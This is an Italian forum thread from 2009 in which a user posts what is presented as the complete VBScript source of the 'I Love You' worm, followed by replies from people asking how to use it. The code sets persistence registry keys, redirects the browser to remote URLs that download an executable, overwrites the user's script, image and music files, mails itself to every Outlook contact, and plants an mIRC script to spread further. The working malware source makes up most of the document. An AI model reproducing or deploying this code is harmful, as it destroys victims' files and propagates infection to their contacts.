Virus "I Love You", Attenzione è Molto dannoso

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brunetto_7
view post Posted on 8/1/2009, 15:23




Questa sorgente è di un virus chiamato I Love You(è molto dannoso)
CODICE
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow

eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll

main()


sub main()
 On Error Resume Next
 dim wscr,rr
 set wscr=CreateObject("WScript.Shell")
 'check the time out value for WSH
 rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout")
 if (rr>=1) then
   ' Set script time out to infinity
   wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout",
0, "REG_DWORD"
 end if
 'Create three copies of the script in the windows, system32 and temp folders
 Set dirwin = fso.GetSpecialFolder(0)
 Set dirsystem = fso.GetSpecialFolder(1)
 Set dirtemp = fso.GetSpecialFolder(2)
 Set c = fso.GetFile(WScript.ScriptFullName)
 c.Copy(dirsystem&"MSKernel32.vbs")
 c.Copy(dirwin&"Win32DLL.vbs")
 c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
 'Set IE default page to 1 of four locations that downloads an executable.  
 'If the exectuable has already been downloaded set it to run at the next login
and set IE's start page to be
blank  
 regruns()
 'create an html file that possibly runs an activex component and runs one of
the copies of the script  
 html()
 'Resend script to people in the WAB
 spreadtoemail()
 'overwrite a number of file types with the script
 'if the files are not already scripts create a script file with the same name
with vbs extention and
 'delete the original file
 'mirc client have a script added to send the html file created earlier to a
channel
 listadriv()
end sub



sub regruns()
 On Error Resume Next
 Dim num, downread
 regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",di
rsystem&"MS
Kernel32.vbs"
 regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32D
LL",dirwin&"
Win32DLL.vbs"
 downread = ""
 downread = regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet
ExplorerDownload Directory")
 if (downread = "") then
   downread = "c:"
 end if
 if (fileexist(dirsystem&"WinFAT32.exe") = 1) then
   Randomize
   num = Int((4 * Rnd) + 1)
   if num = 1 then
     regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw658
7345gvsdf7679njbv
YT/WIN-BUGSFIX.exe"
   elseif num = 2 then
     regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5467
86324hjk4jnHHGbvbm
KLJKjhkqj4w/WIN-BUGSFIX.exe"
   elseif num = 3 then
     regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhf
gER67b3Vbvg/
WIN-BUGSFIX.exe"
   elseif num = 4 then
     regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgq
werasdjhPhjasfdgl
kNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
   end if
 end if
 if (fileexist(downread & "WIN-BUGSFIX.exe") = 0) then
   regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",
downread & "WIN-BUGSFIX.exe"
   regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart
Page", "about:blank"
 end if
end sub

sub listadriv
 On Error Resume Next
 Dim d,dc,s
 Set dc = fso.Drives
 For Each d in dc
   If d.DriveType = 2 or d.DriveType=3 Then
     folderlist(d.path & "")
   end if
 Next
 listadriv = s
end sub

sub infectfiles(folderspec)  
 On Error Resume Next
 dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
 set f = fso.GetFolder(folderspec)
 set fc = f.Files
 for each f1 in fc
   ext = fso.GetExtensionName(f1.path)
   ext = lcase(ext)
   s = lcase(f1.name)
   if (ext = "vbs") or (ext = "vbe") then
     set ap = fso.OpenTextFile(f1.path,2,true)
     ap.write vbscopy
     ap.close
   elseif(ext = "js") or (ext = "jse") or (ext = "css") or _
         (ext = "wsh") or (ext = "sct") or (ext = "hta") then
     set ap = fso.OpenTextFile(f1.path,2,true)
     ap.write vbscopy
     ap.close
     bname = fso.GetBaseName(f1.path)
     set cop = fso.GetFile(f1.path)
     cop.copy(folderspec & "" & bname & ".vbs")
     fso.DeleteFile(f1.path)
   elseif(ext = "jpg") or (ext = "jpeg") then
     set ap=fso.OpenTextFile(f1.path, 2,true)
     ap.write vbscopy
     ap.close
     set cop=fso.GetFile(f1.path)
     cop.copy(f1.path & ".vbs")
     fso.DeleteFile(f1.path)
   elseif(ext="mp3") or (ext="mp2") then
     set mp3 = fso.CreateTextFile(f1.path & ".vbs")
     mp3.write vbscopy
     mp3.close
     set att = fso.GetFile(f1.path)
     att.attributes = att.attributes + 2
   end if
   if (eq<>folderspec) then
     if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
        (s = "script.ini") or (s = "mirc.hlp") then
       set scriptini=fso.CreateTextFile(folderspec&"script.ini")
       scriptini.WriteLine "[script]"
       scriptini.WriteLine ";mIRC Script"
       scriptini.WriteLine ";  Please dont edit this script... mIRC will
corrupt, if mIRC will"
       scriptini.WriteLine "     corrupt... WINDOWS will affect and will not
run correctly. thanks"
       scriptini.WriteLine ";"
       scriptini.WriteLine ";Khaled Mardam-Bey"
       scriptini.WriteLine ";http://www.mirc.com"
       scriptini.WriteLine ";"
       scriptini.WriteLine "n0=on 1:JOIN:#:{"
       scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
       scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"LOVE-LETTER-
FOR-YOU.HTM"
       scriptini.WriteLine "n3=}"
       scriptini.close
       eq=folderspec
     end if
   end if
 next  
end sub

sub folderlist(folderspec)  
 On Error Resume Next
 dim f,f1,sf
 set f = fso.GetFolder(folderspec)  
 set sf = f.SubFolders
 for each f1 in sf
   infectfiles(f1.path)
   folderlist(f1.path)
 next  
end sub

sub regcreate(regkey,regvalue)
 Set regedit = CreateObject("WScript.Shell")
 regedit.RegWrite regkey,regvalue
end sub

function regget(value)
 Set regedit = CreateObject("WScript.Shell")
 regget = regedit.RegRead(value)
end function

function fileexist(filespec)
 On Error Resume Next
 dim msg
 if (fso.FileExists(filespec)) Then
   msg = 0
   else
   msg = 1
 end if
 fileexist = msg
end function

function folderexist(folderspec)
 On Error Resume Next
 dim msg
 if (fso.GetFolderExists(folderspec)) then
   msg = 0
   else
   msg = 1
 end if
 fileexist = msg
end function

sub spreadtoemail()
 On Error Resume Next
 dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
 set regedit = CreateObject("WScript.Shell")
 set out = WScript.CreateObject("Outlook.Application")
 set mapi = out.GetNameSpace("MAPI")
 for ctrlists = 1 to mapi.AddressLists.Count
   set a = mapi.AddressLists(ctrlists)
   x = 1
   regv = regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB" & a)
   if (regv = "") then
     regv = 1
   end if
   if (int(a.AddressEntries.Count) > int(regv)) then
     for ctrentries = 1 to a.AddressEntries.Count
       malead = a.AddressEntries(x)
       regad = ""
       regad = regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB" &
malead)
       if (regad = "") then
         set male = out.CreateItem(0)
         male.Recipients.Add(malead)
         male.Subject = "ILOVEYOU"
         male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from
me."
         male.Attachments.Add(dirsystem & "LOVE-LETTER-FOR-YOU.TXT.vbs")
         male.Send
         regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB" & malead,
1, "REG_DWORD"
       end if
       x = x + 1
     next
     regedit.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count
   else
     regedit.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count
   end if
 next
 Set out = Nothing
 Set mapi = Nothing
end sub

sub html
 On Error Resume Next
 dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
 dta1= "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-
@
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
       "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
       "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-
@>"&vbcrlf& _
       "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-
#LOVE-
LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
       "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-
YOU.HTM#-
#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
       "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to
read this HTML file<BR>-
Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
       "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------
z------------
--------z----------<?-?MARQUEE> "&vbcrlf& _
       "<?-?BODY><?-?HTML>"&vbcrlf& _
       "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
       "<!--?-??-?"&vbcrlf& _
       "if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
       "?-??-?-->"&vbcrlf& _
       "<?-?SCRIPT>"&vbcrlf& _
       "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
       "<!--"&vbcrlf& _
       "on error resume next"&vbcrlf& _
       "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
       "aw=1"&vbcrlf& _
       "code="
 dta2= "set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
       "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
       "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
       "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
       "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
       "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf&
_
       "wri.write code4"&vbcrlf& _
       "wri.close"&vbcrlf& _
       "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
       "if (err.number=424) then"&vbcrlf& _
       "aw=0"&vbcrlf& _
       "end if"&vbcrlf& _
       "if (aw=1) then"&vbcrlf& _
       "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
       "window.close"&vbcrlf& _
       "end if"&vbcrlf& _
       "end if"&vbcrlf& _
       "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
       "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-
^Windows^-
^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf&
_
       "?-??-?-->"&vbcrlf& _
       "<?-?SCRIPT>"
 dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
 dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
 dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
 dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "")
 dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
 dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
 dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
 dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "")
 set fso = CreateObject("Scripting.FileSystemObject")
 set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
 lines = Split(c.ReadAll, vbcrlf)
 l1 = ubound(lines)
 for n = 0 to ubound(lines)
   lines(n)=replace(lines(n), "'", chr(91) + chr(45) + chr(91))
   lines(n)=replace(lines(n), """", chr(93) + chr(45) + chr(93))
   lines(n)=replace(lines(n), "", chr(37) + chr(45) + chr(37))
   if (l1 = n) then
     lines(n) = chr(34) + lines(n) + chr(34)
   else
     lines(n) = chr(34) + lines(n) + chr(34) & "&vbcrlf& _"
   end if
 next
 set b=fso.CreateTextFile(dirsystem + "LOVE-LETTER-FOR-YOU.HTM")
 b.close
 set d=fso.OpenTextFile(dirsystem + "LOVE-LETTER-FOR-YOU.HTM",2)
 d.write dt5
 d.write join(lines, vbcrlf)
 d.write vbcrlf
 d.write dt6
 d.close
end sub


Il Forum non si prende nessuna responsabilità dell'uso che ne farete
 
Top
street-racer
view post Posted on 21/1/2009, 20:42




ma come si usa?
 
Top
brunetto_7
view post Posted on 21/1/2009, 21:37




mi dispiace ma stavolta non posso spiegarlo perchè è un virus troppo dannoso
 
Top
street-racer
view post Posted on 22/1/2009, 18:53




okok tanto era solo una curiosita ;)
mica lo usavo
 
Top
brunetto_7
view post Posted on 22/1/2009, 19:03




okok xò può capitare qlk malintenzionato con tt l'intento di usarlo... ^_^
 
Top
street-racer
view post Posted on 23/1/2009, 17:37




ok
 
Top
luke9
view post Posted on 13/2/2009, 23:20




IO LO SOOO
 
Top
brunetto_7
view post Posted on 14/2/2009, 19:42




e non lo dire asd ^_^
 
Top
ita3
view post Posted on 22/2/2009, 10:00




fino a pochi mesi fa subivo sempre attacchi da virus formattanti....nessuno vuole spiegarmi come si usa I LOVE YOU?
 
Top
brunetto_7
view post Posted on 22/2/2009, 11:31




no mi dispiace
 
Top
ita3
view post Posted on 22/2/2009, 11:51




e allora perchè fai ste guide se poi le lasci incomplete senza spiegazioni su comme usarle... o complete o niente no?
 
Top
ita3
view post Posted on 28/2/2009, 19:56




ORA SO KOME SI USAAAAAAAA!

ANSI ADESSO NON LO SO PIùùù NOO!!!!!!!!!!
 
Top
frdc94
view post Posted on 3/5/2009, 11:31




nn ci vuola la lauria x usarlo avendo il codice e molto facile ma nn ve lo diko visto ke brunetto nn vuole
 
Top
ita3
view post Posted on 3/5/2009, 18:47




si ma tempo fa brunetto via MP mi aveva detto che non me lo diceva ma se me lo diceva qualcuno via MP gli andava bene perchè non gli interessava di quello che ne facevo... perciò me lo dici almeno via MP?
SPOILER (click to view)
anche se un po penso che so come si fa ma non sono sicuro!
 
Top
26 replies since 8/1/2009, 15:23   3664 views
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